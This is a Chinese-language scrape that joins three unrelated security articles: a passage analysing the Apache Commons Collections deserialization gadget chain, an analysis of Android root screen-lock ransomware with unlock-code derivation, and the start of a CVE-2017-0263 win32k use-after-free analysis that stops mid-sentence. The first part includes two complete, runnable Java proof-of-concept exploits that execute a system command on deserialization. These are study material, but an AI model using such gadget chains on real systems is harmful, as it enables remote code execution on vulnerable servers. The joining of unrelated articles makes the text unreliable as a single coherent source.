new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
//调用invoke方法
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
//调用exec方法
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
**代码2**
当调用ChainedTransformer的transformer方法时，会对transformers数组进行一系列回调：
Transformer transformerChain = new ChainedTransformer(transformers);
* 将ConstantTransformer返回的`Runtime.class`传给第一个InvokerTransformer；
* 将第一个InvokerTransformer返回的`(Runtime.class).getMethod("getRuntime",null)`传给第二个InvokerTransformer；
* 将第二个InvokerTransformer返回的`((Runtime.class).getMethod("getRuntime",null)).invoke(null,null)`传给第三个InvokerTransformer；
* `(((Runtime.class).getMethod("getRuntime",null)).invoke(null,null)).exec("calc")`是第三个InvokerTransformer的返回值。
**代码3**
用了TransformedMap修饰Map对象，decorate方法中又new了一个TransformedMap对象，transformerChain作为参数传进去；
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
TransformedMap类中的注释说到Map的put方法和Map.Entry的setValue方法会受到该类的影响；
TransformedMap继承于AbstractInputCheckedMapDecorator类，而AbstractInputCheckedMapDecorator又继承于AbstractMapDecorator类，AbstractMapDecorator类继承于Map类；
跟到AbstractInputCheckedMapDecorator类的setValue方法；
最后其实是调用Map.setValue()；
跟进checkSetValue方法到TransformedMap类，注释中也提到调用setValue方法时自动调用checkSetValue方法；
这里调用了valueTransformer的transform方法，而valueTransformer就是我们传入的transformerChain，transformerChain又是ChainedTransformer的实例化对象，也就是成功调用了ChainedTransformer的transformer方法，从而实现代码2对transformers数组进行回调。
**代码4**
通过反射获取AnnotationInvocationHandler类对象，获取构造方法，实例化一个对象handler；
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
看一下`sun.reflect.annotation.AnnotationInvocationHandler`类，它的构造函数中第一个参数是个Annotation类，第⼆个是参数就是前⾯构造的Map；
这是一个内部类，需要通过反射来获取；
在它的readObject方法中调用了setValue方法，也就是说反序列化时会调用setValue方法，进而实现上面几部分代码。
然而只有当if判断为真时才会进入分支执行setValue方法，也就是说var7不能为null；
var7不为null需要满足以下两个条件：
* 第一个参数必须是Annotation的⼦类，且其中必须含有⾄少⼀个⽅法，假设方法名为X
* 被`TransformedMap.decorate`修饰的Map中必须有⼀个键名为X的元素
而Retention恰好是Annotation类，含有⼀个value方法；
所以这里是创建`Retention.class`的对象；
然后，为了再满⾜第⼆个条件，需要给Map中放⼊⼀个键名为value的元素，所以在代码3中要给Map对象加一个键名为value的元素；
下面大概跟一下为什么键名要和方法名相同；
在`AnnotationInvocationHandler`的readObject方法中，跟进
var2 = AnnotationType.getInstance(this.type);
var0就是我们传入的`Retention`，再跟进`AnnotationType`；
第一处返回了`Retention`类中的所有方法到var2；
第二处通过for循坏，获取方法名到var7；
第三处将获取到的方法名put到`memberTypes`。
`Retention`类中就只有一个value方法，所以`memberTypes`的值就是value；
再回到`AnnotationInvocationHandler`类，var3的值就是value；
Map var3 = var2.memberTypes();
接下来：
while(var4.hasNext()) {
//遍历Map
Entry var5 = (Entry)var4.next();
//获取Map的键名
String var6 = (String)var5.getKey();
//在var3中寻找是否有键名为var6的值,如果在这里没有找到,则返回了null,
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
所以为了能var3中找到键名为value的值，需要给Map对象put一个键名为value的元素。
最后加上序列化和反序列化的代码，整理为如下POC：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class Test2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
Class clazz =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
这个POC只有在Java 8u71以前的版本中才能执行成功，Java
8u71以后的版本由于`sun.reflect.annotation.AnnotationInvocationHandler`发⽣了变化导致不再可⽤；
在ysoserial的代码中，没有⽤到上面POC的TransformedMap，而是改用了了LazyMap。
## LazyMap链
LazyMap也来自于Common-Collections库，并继承`AbstractMapDecorator`类。
LazyMap的漏洞触发点和TransformedMap唯一的差别是，TransformedMap是在写入元素的时候执行transform，而LazyMap是在其get方法中执行的factory.transform
。
当在get找不到值的时候，它会调用`factory.transform`方法去获取一个值：
代码1和代码2与TransformedMap链中的一样；
**代码3**
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
因为要满足`map.containsKey(key) == false`，就不需要向Map中添加元素；
把transformerChain传进去，transformerChain是Transformer类型的；
看一下`LazyMap.decorate`方法：
new了一个LazyMap对象；
get方法中的`factory`就是我们传入的transformerChain，也就是说，只要调用了get方法，并且Map对象中的没有key，就可以触发ChainedTransformer的transform方法，从而实现代码2对transformers数组进行回调，进而执行命令。
现在要找一个调用get方法的地方；
在AnnotationInvocationHandler类的invoke方法中调用了get方法：
那又要如何调用到invoke方法；
P牛的文章中说到：
* 我们如果将AnnotationInvocationHandler对象用Proxy进行代理，那么在readObject的时候，只要调用任意方法，就会进入到AnnotationInvocationHandler#invoke方法中，进而触发我们的LazyMap#get。
Java动态代理知识可参考：[Java 动态代理](http://1.15.187.227/index.php/archives/457/ "Java
动态代理")
**代码4**
通过反射获取`sun.reflect.annotation.AnnotationInvocationHandler`对象，再对该对象进行Proxy；
Class clazz =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
`Proxy.newProxyInstance`的第一个参数是ClassLoader，我们用默认的即可；第二个参数是我们需要代理的对象集合；第三个参数是一个实现了InvocationHandler接口的对象，里面包含了具体代理的逻辑。
代理后的对象叫做proxyMap，但不能直接对其进行序列化，因为入口点是`sun.reflect.annotation.AnnotationInvocationHandler#readObject`，所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹：
handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
最后添加上序列化和反序列化的代码整理为如下POC：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class Test3 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
成功执行命令：
参考连接：
Java安全漫谈 - 09.反序列化篇(3)
Java安全漫谈 - 10.反序列化篇(4)
Java安全漫谈 - 11.反序列化篇(5)
<https://xz.aliyun.com/t/9873> | 社区文章 |
作者： [0xgg@CloverSec实验室](http://mp.weixin.qq.com/s/HPfHMdxmZJoYdwzCeVLDFw
"0xgg@CloverSec实验室")
这是一篇非反病毒工程师的非专业分析，写完发现更像逆向教程，文中如果有疏漏，欢迎批评指正。
#### 0x00 前言
最近在吾爱破解论坛病毒救援区看到一个锁机样本，说是root锁，虽然帖子好几天了但还没人分析，楼主应该线刷系统了，打算就以这个练练手吧。很久也没分析锁屏App了，之前有个王者荣耀辅助的样本，不过没root锁，想看看最近勒索App有什么新花样。话说，现在恶意软件都喜欢蹭热度，什么游戏流行就伪装什么外挂。
#### 0x01 信息收集
先安装样本到模拟器里看看（模拟器万一搞坏了，大不了卸载重新安装），安装完成后会有一个“荒野行动盒子”的图标,运行后发现App申请Root权限，（很多外挂都需要Root权限，勒索软件以外挂为名倒是很容易让人放松警惕）:
这里点击“永久记住选择“，然后点击”允许“，看看勒索软件搞什么鬼。发现这个勒索App还做了一个外挂界面：
等一会模拟器自动重启了。重启完成后，发现如愿以偿，模拟器被锁了，锁屏界面如下（锁屏界面忒丑了）：
随便输入“123456“，点击”解锁“发现没有反应，点击高亮的”解锁20元“，发现有提示：
意思是点100次就会解锁，这种都是调戏人的。要是可以免费解锁，那还怎么勒索那20块钱？
#### 0x02 反编译分析
接下来祭出神器jadx反编译分析，反编译后发现资源里面的结构有点不一样：
正常情况下，apk反编译后应该是下面这种结构：
原来res目录下的drawable、layout等资源全部被混淆了。打开r下的0文件发现其实就是编译后的layout文件：
这个样本其实是使用了MT管理器的”RES资源混淆“功能。（MT管理器是一个可以在安卓手机上修改apk文件、反编译dex、修改smali、修改xml、重打包的App，功能很强大）。
代码的入口是MainActivity：
代码简洁的不得了，LogCatBroadcaster看着很眼熟吧，进去看看代码：
这就是AIDE的特征（AIDE是一款可以在安卓手机上编写安卓App的开发工具，分析过勒索App的应该都很熟悉了） 。
再来看看e.busybox函数,发现代码混淆了，那还是使用JEB接着分析吧，分析完混淆函数，然后重命名一下，看着还不是很清楚：
尤其是下面一大堆的StringBuffer：
先把函数拷贝出来，精简掉StringBuffer，代码清晰多了：
这部分代码功能很清晰：复制`libjiagu.so`到App私有目录的a/k.bat文件中，再复制`lib2jiagu.so`到App私有目录的`a/libStarEngine.so`文件中，然后解密k.bat得到key.bat文件，再获取key.bat文件的包名保存到`e.packageName`中，这里可以看出来key.bat（即libjiagu.so文件）是一个apk文件。继续看下面代码：
接着执行“ls data“命令，安卓App中要执行系统命令，必须申请root权限，代码执行到这里就需要申请root权限。不过这里执行这个命令没起到什么作用。
这里根据安卓系统版本分别进行处理，如果小于5.0，先把key.bat释放到`/system/app/`并改名为time.apk,然后释放`libStarEngine.so`到`/system/lib/libStarEngine.so`，
判断是否安装了`com.example.xphuluxia`,如果安装了就卸载，最后重启手机，安装激活勒索App。补充一下，`com.example.xphuluxia`是一个名为防锁侠的App，据说可以查杀锁屏勒索App，个人还没测试过。
继续看后面代码：
从大段重复代码可以看出作者很擅长CVM模式（ctrl+c、ctrl+v、modify）（个人猜想写病毒维护应该很少吧）。
这里需要用到e.packageName,我们先来获取一下包名,使用命令行获取一下模拟器的当前Activity即可：
即e.packageName=”com.hl.app”。现在来分析勒索App在5.0及其以上系统时的操作：释放key.bat到/system/priv-app/com.hl.app/并改名为com.hl.app.ap；释放libStarEngine.so到 /system/priv-app/com.hl.app/lib/arm/libStarEngine.so;重启手机，系统重启后会自动安装/system/priv-app/com.hl.app/com.hl.app.apk，激活勒索App。
分析到这里，现在清楚了，这是一个字母型的勒索App，母App任务应该完成了，可以通过Manifest.xml文件再确认一下：
这里没有申请任何权限，所以母App就是个壳，已经不需要继续分析了。
#### 0x03分析子包
接下来分析真正的锁屏勒索子包代码，我的模拟器系统是4.4,使用adb先导出病毒文件到电脑：
然后使用jadx反编译，这里同样是使用MT管理器做了资源混淆：
查看AndroidManifest.xml，入口还是MainActivity：
LogCatBroadcaster就不用看了，还是AIDE的特征，没什么作用。主要是启动了com.hl.app.MyApp服务。继续看看这个服务代码：
代码混淆了，那用JEB继续分析，先看看a类：
很明显这是一个DES的加密解密算法类，所以a类被重命名为a_Cryptor。再看hx1：
很明显，创建全屏的浮动窗口，遮挡其他App导致无法操作，达到锁屏效果。那么重命名为hx1_showLockView1，重命名变量、函数名称后，添加注释代码如下：
这里初始化了加密密钥，然后创建了全屏浮动窗口达到锁屏效果，继续看代码：
这里更新了a_crypt的密钥，然后生成随机数保存在lock1xlh中，设置点击响应函数，其中100000000是假的，骗人点100次的函数，最后的100000001才是真的解锁判断函数，继续看100000001的onClick代码：
Try代码块是一堆解密、转换代码，最后关键的是if语句，判断输入和随机码计算后的结果是不是相同，相同则进入第二层锁屏界面。所以，解锁密码就是这一堆代码计算后再与随机码计算的结果。这里b类代码被重命名为b_AES，set函数被重命名为set_replaceAndReverse。解密的代码就不用看了，我们写解密算法时直接copy过来用就行了，这时候就要发挥CVM模式(ctrl+c、ctrl+v、modify)的长处。
#### 0x04解密第一层锁屏
接下来写计算第一层解密密码的算法，创建java工程，把100000001的onClick代码复制过来，中间需要依赖的类：
a_Cryptor、b_AES、c以及其他相关函数全部从JEB复制过来，修改错误后，把onClick函数改成getLockView1Pass，主要代码如下（记得前面有a_crypt更新密钥的相关代码，要复制过来）：
lock1xlh就是锁屏界面上的随机码，运行后你就可以得到解锁密码了。我的随机码是477042，计算后得到解锁密码：1200556544，在模拟器中输入后，点击解锁，然后进入第二层锁屏，作者还是那么嚣张，界面依然奇丑无比：
#### 0x05分析第二层锁屏
接下来继续JEB分析第二层锁屏。查看hx2代码，这里改名为hx2_showLockView2：
还是一样的配方，随机码保存在lock2xlh中，创建全屏浮动窗口达到锁屏效果，解锁按钮点击响应函数是100000002，继续看代码：
代码有点乱，拷贝出来精简一下：
注释都写清楚了，关键是理解最后代码，输入的解锁码v2前3位经过sha、md5之后就应该等于“9fd09fe7fd77ab118ef78795668bc8a1”，后9位等于随机码经过md5、sha之后保留数字位的前9位。下面就可以写代码计算了。
#### 0x06 解密第二层锁屏
由于解锁码都是数字，前3位经过sha、md5之后就应该等于“9fd09fe7fd77ab118ef78795668bc8a1”，这个可以写代码爆破。算法很简单，如下所示：
lock2xlh就是第二层锁屏界面上的随机码，运行后你就可以得到解锁密码了。我的随机码是498691，计算后得到解锁密码：187360012293，在模拟器中输入后，点击解锁，锁屏终于解除了。
之前还有个`libStarEngine.so`，在app代码中并没有发现加载该库文件的代码，IDA查看也没有发现什么，经过搜索发现是一个3d引擎，在这里也没有什么实际作用。
到这里，锁屏App已经分析完了。
#### 0x07 总结
结合之前分析，总结一下：
1. 这是一个子母型的勒索App，母App主要完成解密、释放子病毒文件。病毒文件在5.0以下系统是`/system/app/time.apk`、 `/system/lib/libStarEngine.so`；5.0及其以上系统是`/system/priv-app/com.hl.app/com.hl.app.apk` 、`/system/priv-app/com.hl.app/lib/arm/libStarEngine.so`。
2. 子病毒文件被加密后放在母App中，主要目的应该是绕过杀毒软件检测,效果如何见后文。
3. 子病毒文件被释放到系统App目录中，系统双清是无法删除病毒文件的。
4. 如果手机没有root，或者没有给勒索App授予root权限，那么是不会受影响的，只要卸载该“荒野行动盒子”即可。
5. 病毒代码中虽然写了很多加密算法：AES、DES、md5、sha及字符替换等等，但还是很容易写出解密算法的。
6. 另外，这个样本中可以看到使用了AIDE、MT管理器，这两个工具可以完成病毒App的开发、修改，也就是说，你只要有个安卓手机，就可以完成病毒的制作、修改过程，可以不用PC来完成，这个变化是值得注意和警惕的。
这里我简单写了一个计算解锁码的程序，需要java环境支持，用法很简单：
java -jar unlock_hyhz.jar,然后按照提示输入屏幕解锁码即可，执行效果如下图所示：
下载地址：<https://share.weiyun.com/46ffd85b4467fa564819262cbe32df5a>
Hash校验：CRC32: 346A9DCB
MD5: 6BC24E74AA3C80FE2C85F0ADD84F5772
SHA-1: E0D693064D2A4350A4FC4B4B700F891420ED446C
5.0及以上系统执行：
最后所有系统上需要卸载母包：
#### 0x09 测试一下杀毒软件
最后把样本上传到virustotal.com上看了一下，有17款杀毒软件检测出来问题：
国产的阿里、360、腾讯、瑞星都可以检测出来。附[链接](https://www.virustotal.com/#/file/bf3637f7ed48732404eaaf74abc6eca0a628def264a20d86fa044db04b6abce4/detection
"链接")。
如果把子包直接放上去再看看，检测率还降低了：
我也是醉了，不知道国外那几个是怎么检测的，不过国产的阿里、360、腾讯、瑞星还是可以检测出来的，附[链接](https://www.virustotal.com/#/file/f426e208bbb8ed720d0200b28d1969c8eeb0ebaf841e63f8258d4c3fc428af88/detection
"链接")。
总体感觉，这个检测率还是偏低的。这个检测结果可能也无法代表安卓手机端的检测率。
#### 0x010 后记
个人感觉，自从5月份
wannacry爆发之后，不管是PC还是安卓系统，国内勒索病毒也越来越多了。而且现在安卓手机端的病毒可以使用安卓手机App开发、修改，那么分发、传播起来会更快，变种也会更多，这些都是PC上病毒没有的特点,需要引起重视。
最后，对于普通用户来说，防范措施非常简单，只要保持良好的使用习惯即可避免被锁屏勒索：
1. 不要root手机！（除非你非常懂安全，即使被锁也能自己搞定）
2. 不要下载、安装来历不明的App！
3. 安装一个杀毒软件。
最重要的还是前两个习惯，因为“安全问题很多时候都是人的问题”。
#### 0x011 附录
样本来源：<https://www.52pojie.cn/thread-672111-1-1.html>
* * * | 社区文章 |
原文来自安全客，作者：Leeqwind
原文链接：<https://www.anquanke.com/post/id/102377>
作者博客：<https://xiaodaozhi.com/exploit/71.html>
CVE-2017-0263 是 Windows 操作系统 `win32k` 内核模块菜单管理组件中的一个
UAF（释放后重用）漏洞，据报道称该漏洞在之前与一个 EPS 漏洞被 APT28 组织组合攻击用来干涉法国大选。这篇文章将对用于这次攻击的样本的
CVE-2017-0263 漏洞部分进行一次简单的分析，以整理出该漏洞利用的运作原理和基本思路，并对 Windows
窗口管理器子系统的菜单管理组件进行简单的探究。分析的环境是 Windows 7 x86 SP1 基础环境的虚拟机。
在本分析中为了突出分析的重点，在对涉及的各个系统函数进行分析时，将与当前漏洞研究无关的调用语句进行忽略，只留意影响或可能影响漏洞触发逻辑的调用和赋值语句并对其进行分析和解释。
#### 0x0 前言
这篇文章分析了发生在窗口管理器（User）子系统的菜单管理组件中的 CVE-2017-0263 UAF（释放后重用）漏洞。在函数
`win32k!xxxMNEndMenuState` 中释放全局菜单状态对象的成员域 `pGlobalPopupMenu`
指向的根弹出菜单对象时，没有将该成员域置零，导致该成员域仍旧指向已被释放的内存区域成为野指针，在后续的代码逻辑中存在该成员域指向的内存被读写访问或被重复释放的可能性。
在释放成员域 `pGlobalPopupMenu` 指向对象之后，函数 `xxxMNEndMenuState` 还将当前线程关联的线程信息对象成员域
`pMenuState` 重置，这导致大部分追踪和操作弹出菜单的接口将无法达成漏洞触发的条件。但在重置成员域 `pMenuState`
之前，函数中存在对全局菜单状态对象的成员域 `uButtonDownHitArea`
的解锁和释放，这个成员域存储当前鼠标按下位置所属的窗口对象（如果当前存在鼠标按下状态）指针。
如果用户进程先前通过利用技巧构造了特殊关联和属性的菜单窗口对象，那么从函数 `xxxMNEndMenuState` 释放成员域
`pGlobalPopupMenu` 到重置成员域 `pMenuState`
之前的这段时间，执行流将回到用户进程中，用户进程中构造的利用代码将有足够的能力改变当前弹出菜单的状态，致使执行流重新执行
`xxxMNEndMenuState` 函数，并对根弹出菜单对象的内存进行重复释放，导致系统 BSOD 的发生。
在内核第一次释放成员域 `pGlobalPopupMenu`
指向内存之后执行流回到用户进程时，在用户进程中通过巧妙的内存布局，使系统重新分配相同大小的内存区域以占用成员域 `pGlobalPopupMenu`
指向的先前释放的内存块，伪造新的弹出菜单对象并构造相关成员域。借助代码逻辑，实现对特定窗口对象的成员标志位 `bServerSideWindowProc`
的修改，使系统能够在内核中直接执行位于用户进程地址空间中的自定义窗口消息处理函数，得以通过内核上下文执行用户进程构造的利用代码，实现内核提权的目的。
#### 0x1 原理
CVE-2017-0263 漏洞存在于 `win32k` 的窗口管理器（User）子系统中的菜单管理组件中。在内核函数
`xxxMNEndMenuState` 释放目标 `tagMENUSTATE` 结构体对象的成员域 `pGlobalPopupMenu`
指向对象的内存时，没有将该成员域置为空值。
在 `win32k` 模块中存在定义为 `tagMENUSTATE` 结构体类型的菜单状态 `gMenuState`
全局对象。在当前的操作系统环境下，该结构体的定义如下：
kd> dt win32k!tagMENUSTATE
+0x000 pGlobalPopupMenu : Ptr32 tagPOPUPMENU
+0x004 flags : Int4B
+0x008 ptMouseLast : tagPOINT
+0x010 mnFocus : Int4B
+0x014 cmdLast : Int4B
+0x018 ptiMenuStateOwner : Ptr32 tagTHREADINFO
+0x01c dwLockCount : Uint4B
+0x020 pmnsPrev : Ptr32 tagMENUSTATE
+0x024 ptButtonDown : tagPOINT
+0x02c uButtonDownHitArea : Uint4B
+0x030 uButtonDownIndex : Uint4B
+0x034 vkButtonDown : Int4B
+0x038 uDraggingHitArea : Uint4B
+0x03c uDraggingIndex : Uint4B
+0x040 uDraggingFlags : Uint4B
+0x044 hdcWndAni : Ptr32 HDC__
+0x048 dwAniStartTime : Uint4B
+0x04c ixAni : Int4B
+0x050 iyAni : Int4B
+0x054 cxAni : Int4B
+0x058 cyAni : Int4B
+0x05c hbmAni : Ptr32 HBITMAP__
+0x060 hdcAni : Ptr32 HDC__
_结构体 tagMENUSTATE 的定义_
菜单管理是 `win32k` 中最复杂的组件之一，菜单处理作为一个整体依赖于多种十分复杂的函数和结构体。例如，在创建弹出菜单时，应用程序调用
`TrackPopupMenuEx` 在菜单内容显示的位置创建菜单类的窗口。接着该菜单窗口通过一个系统定义的菜单窗口类过程
`xxxMenuWindowProc` 处理消息输入，用以处理各种菜单特有的信息。此外，为了追踪菜单如何被使用，`win32k` 也将一个菜单状态结构体
`tagMENUSTATE` 与当前活跃菜单关联起来。通过这种方式，函数能够知道菜单是否在拖拽操作中调用、是否在菜单循环中、是否即将销毁，等等。
菜单状态结构体用来存储与当前活跃菜单的状态相关的详细信息，包括上下文菜单弹出的坐标、关联的位图表面对象的指针、窗口设备上下文对象、之前的上下文菜单结构体的指针，以及其他的一些成员域。
在线程信息结构体 `tagTHREADINFO` 中也存在一个指向菜单状态结构体指针的 `pMenuState` 成员域：
kd> dt win32k!tagTHREADINFO -d pMenuState
+0x104 pMenuState : Ptr32 tagMENUSTATE
_结构体 tagTHREADINFO 存在 pMenuState 成员域_
当用户在操作系统中以点击鼠标右键或其他的方式弹出上下文菜单时，系统最终在内核中执行到 `xxxTrackPopupMenuEx` 函数。该函数调用
`xxxMNAllocMenuState` 函数来分配或初始化菜单状态结构体。
在函数 `xxxMNAllocMenuState` 中，系统将全局菜单状态对象 `gMenuState`
的所有成员域清空并对部分成员域进行初始化，然后将全局菜单状态对象的地址存储在当前线程信息对象的成员域 `pMenuState` 中。
menuState = (tagMENUSTATE *)&gMenuState;
[...]
memset(menuState, 0, 0x60u);
menuState->pGlobalPopupMenu = popupMenuRoot;
menuState->ptiMenuStateOwner = ptiCurrent;
menuState->pmnsPrev = ptiCurrent->pMenuState;
ptiCurrent->pMenuState = menuState;
if ( ptiNotify != ptiCurrent )
ptiNotify->pMenuState = menuState;
[...]
return menuState;
_函数 xxxMNAllocMenuState 的代码片段_
函数初始化了菜单状态结构体中的 `pGlobalPopupMenu` / `ptiMenuStateOwner` 和 `pmnsPrev` 成员。成员域
`pGlobalPopupMenu` 指针指向通过参数传入作为根菜单的弹出菜单结构体 `tagPOPUPMENU`
对象。弹出菜单结构体存储关联的弹出菜单相关的各个内核对象的指针，与对应的菜单窗口对象关联，其结构体定义如下：
kd> dt win32k!tagPOPUPMENU
+0x000 flags : Int4B
+0x004 spwndNotify : Ptr32 tagWND
+0x008 spwndPopupMenu : Ptr32 tagWND
+0x00c spwndNextPopup : Ptr32 tagWND
+0x010 spwndPrevPopup : Ptr32 tagWND
+0x014 spmenu : Ptr32 tagMENU
+0x018 spmenuAlternate : Ptr32 tagMENU
+0x01c spwndActivePopup : Ptr32 tagWND
+0x020 ppopupmenuRoot : Ptr32 tagPOPUPMENU
+0x024 ppmDelayedFree : Ptr32 tagPOPUPMENU
+0x028 posSelectedItem : Uint4B
+0x02c posDropped : Uint4B
_结构体 tagPOPUPMENU 的定义_
菜单状态结构体对象的成员域 `ptiMenuStateOwner`
指向当前线程的线程信息结构体对象。线程信息结构体对象中已存在的菜单状态结构体指针被存储在当前菜单状态结构体对象的 `pmnsPrev` 成员域中。
随后函数将菜单状态结构体的地址放置在通过参数传入的当前线程（和通知线程）的线程信息结构体 `tagTHREADINFO` 对象的成员域
`pMenuState` 中，并将菜单状态结构体的地址作为返回值返回给上级调用者函数。
_当前线程信息对象和菜单状态对象的对应关系_
* * *
当用户通过键鼠选择菜单项、或点击菜单范围之外的屏幕区域时，系统将向当前上下文菜单的窗口对象发送相关鼠标按下或菜单终止的事件消息。在菜单对象的类型为模态的情况下，这导致之前调用
`xxxMNLoop` 函数的线程退出菜单循环等待状态，使函数继续向后执行。
系统调用 `xxxMNEndMenuState` 函数来清理菜单状态结构体存储的信息与释放相关的弹出菜单对象和窗口对象。
ptiCurrent = gptiCurrent;
menuState = gptiCurrent->pMenuState;
if ( !menuState->dwLockCount )
{
MNEndMenuStateNotify(gptiCurrent->pMenuState);
if ( menuState->pGlobalPopupMenu )
{
if ( fFreePopup )
MNFreePopup(menuState->pGlobalPopupMenu);
else
*(_DWORD *)menuState->pGlobalPopupMenu &= 0xFFFEFFFF;
}
UnlockMFMWFPWindow(&menuState->uButtonDownHitArea);
UnlockMFMWFPWindow(&menuState->uDraggingHitArea);
ptiCurrent->pMenuState = menuState->pmnsPrev;
[...]
}
_函数 xxxMNEndMenuState 的代码片段_
在函数 `xxxMNEndMenuState` 中，系统从当前线程的线程信息对象中获取 `pMenuState`
成员域指向的菜单状态结构体对象。随后函数判断菜单信息结构体对象的成员域 `pGlobalPopupMenu` 是否为空，不为空则调用函数
`MNFreePopup` 释放该成员域指向的弹出菜单 `tagPOPUPMENU` 对象。在执行相应的预处理之后，函数 `MNFreePopup` 调用
`ExFreePoolWithTag` 释放传入的 `tagPOPUPMENU` 对象缓冲区。
if ( popupMenu == popupMenu->ppopupmenuRoot )
MNFlushDestroyedPopups(popupMenu, 1);
pwnd = popupMenu->spwndPopupMenu;
if ( pwnd && (pwnd->fnid & 0x3FFF) == 0x29C && popupMenu != &gpopupMenu )
*((_DWORD *)pwnd + 0x2C) = 0;
HMAssignmentUnlock(&popupMenu->spwndPopupMenu);
HMAssignmentUnlock(&popupMenu->spwndNextPopup);
HMAssignmentUnlock(&popupMenu->spwndPrevPopup);
UnlockPopupMenu(popupMenu, &popupMenu->spmenu);
UnlockPopupMenu(popupMenu, &popupMenu->spmenuAlternate);
HMAssignmentUnlock(&popupMenu->spwndNotify);
HMAssignmentUnlock(&popupMenu->spwndActivePopup);
if ( popupMenu == &gpopupMenu )
gdwPUDFlags &= 0xFF7FFFFF;
else
ExFreePoolWithTag(popupMenu, 0);
_函数 MNFreePopup 的代码片段_
这时问题就出现了：函数 `xxxMNEndMenuState` 在将菜单状态结构体对象的成员域 `pGlobalPopupMenu`
指向的弹出菜单对象释放之后，却没有将该成员域置为空值，这将导致该成员域指向的内存地址处于不可控的状态，并导致被复用的潜在问题。
#### 0x2 追踪
在 `user32.dll` 模块中存在导出函数 `TrackPopupMenuEx`
用于在屏幕指定位置显示弹出菜单并追踪选择的菜单项。当用户进程调用该函数时，系统在内核中最终调用到 `xxxTrackPopupMenuEx`
函数处理弹出菜单操作。
* * *
**菜单的对象**
在本分析中将涉及到与菜单相关的对象：菜单对象，菜单层叠窗口对象和弹出菜单对象。
其中，菜单对象是菜单的实体，在内核中以结构体 `tagMENU`
实例的形式存在，用来描述菜单实体的菜单项、项数、大小等静态信息，但其本身并不负责菜单在屏幕中的显示，当用户进程调用 `CreateMenu`
